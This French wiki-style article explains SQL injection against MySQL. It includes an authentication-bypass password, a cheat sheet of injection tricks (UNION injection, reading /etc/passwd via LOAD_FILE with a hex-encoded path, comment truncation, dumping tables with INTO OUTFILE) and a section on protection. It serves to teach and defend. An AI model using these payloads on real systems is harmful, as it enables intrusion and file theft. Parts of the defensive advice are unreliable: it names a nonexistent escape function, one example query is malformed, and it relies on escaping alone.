Injection de SQL
Un article de Haypo.
Retour aux articles relatifs à la sécurité
L'injection de SQL consiste à contourner l'utilisation normal d'un formulaire de saisie (ou un autre moyen) pour lancer une requête SQL arbitraire ou modifier la requête SQL habituelle.
Sommaire |
[modifier] Exemple : authentification par mot de passe
Imaginons que le formulaire d'authentification demande un couple (identifiant, mot de passe) notés ($login, $password). La requête naïve est :
SELECT COUNT(*) FROM users WHERE login='$login' AND password='$password';
Car si un hacker arrive à ajouter une apostrophe, il pourra modifier la requête SQL :
SELECT COUNT(*) FROM users WHERE login='admin' AND password='none' OR ''='';
Le test « est-ce que le mot de passe est valide » (password='$password' dans la première requête) a été contourné en utilisant le mot de passe suivant : « none' OR ''=' ». Le mot de passe a une forme bizzare, mais le résultat est que le test renvoie toujours vrai !
[modifier] Trucs divers
Pour MySQL : numéro de version, utilisateur et base de donnée :
SELECT VERSION(), USER(), DATABASE(); SELECT CURRENT_USER(), SCHEMA(), SESSION_USER()
SCHEMA() est un synonyme de DATABASE() (MySQL 5.0+).
Variables MySQL, ici le répertoire où sont stockés les bases :
SHOW GLOBAL VARIABLES LIKE 'datadir';
(voir la liste complète des variables de MySQL 5.0 et la liste des variables systèmes de MySQL 5.0)
Liste des tables :
SHOW TABLES;
Union (à partir de MySQL 4.0) : permet de renvoyer une ligne arbitraire avant un test qui est faux pour la première requête :
SELECT right FROM users WHERE 0 UNION SELECT 1000;
Lire une fichier sur le disque-dur :
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764); # Pas besoin d'apostrophe si on écrit en hexadécimal
Ignorer la fin d'une requête avec « # » :
SELECT * FROM users WHERE user='$login' AND password='$password;' devient SELECT * FROM users WHERE user='none' OR 1 LIMIT 0,1; # ' AND password=; ce qui donne finalement SELECT * FROM users LIMIT 0,1;
Dump d'une table dans un fichier :
SELECT * FROM users INTO OUTFILE '/tmp/dump' FROM users; SELECT 'une ligne sans retour a la ligne' INTO DUMPFILE '/tmp/dump';
[modifier] Variable session (MySQL)
En MySQL, on a :
SHOW SESSION VARIABLES;
Qui donne accès à des choses comme :
SELECT @@version;
[modifier] Syntaxe d'une chaîne
Syntaxe de l'apostrophe, les deux écritures sont équivalentes (en MySQL en tout cas) :
SELECT 'a''b', 'a\'b';
Le guillement a trois écritures différentes :
SELECT 'a"b', 'a""b', 'a\"b';
Recherche : « _ » représente un caractère quelconque et « % » représente une suite de caractères quelconques (pouvant être d'une longueur nulle). Exemple :
SELECT * FROM group WHERE label LIKE '%adm_i%';
trouvera par exemple les libellés "administrateur" ou "groupe des admrirateurs".
Voir aussi la syntaxe d'une chaîne de caractère (documentation MySQL).
[modifier] Se protéger des injections SQL
Pour commencer, la rêgle d'or est « toujours se méfier de ce qui vient de l'extérieur ». Il ne faut pas supposer qu'un chaîne de caractères sera un nombre car test en javascript vérifie son format, il existe toujours un moyen pour autrepasser les vérifications en amont. L'idéal serait de vérifier qu'une chaîne correspond à un motif avant de l'utiliser dans une requête SQL, et de tout bloquer si une erreur est détectée. Les expressions rationnelles sont d'une grande aide dans ce cas.
Une fois arrivée au niveau de la requête, il y a deux points à surveiller :
- Chaque champ doit être mis entre apostrophe : « 'valeur' » et non pas « valeur ». Souvent, les apostrophes sont omis car "ce n'est pas obligatoire pour les nombres entiers, mais si l'utilisateur entre autre chose qu'un nombre ? ;-)
- Il faut échapper les caractères spéciaux. Les plus courants sont :
- l'apostrophe qui marque le début et la fin d'une chaîne : « ' »
- dièse qui met la fin de la ligne en commentaire : « # »
- le pourcent qui reconnaît n'importe quel caractère dans un test LIKE : « % »
Très souvent, une fonction dédiée existe déjà. On peut citer :
- En PHP : mysql_escape_string(), ou mieux mysql_real_escape_chars() (à partir de PHP 4.3.0 et PHP5)
- Avec la librairie AdoDB (abstraction du SGDB pour PHP et Python, entre autres) : qstr()


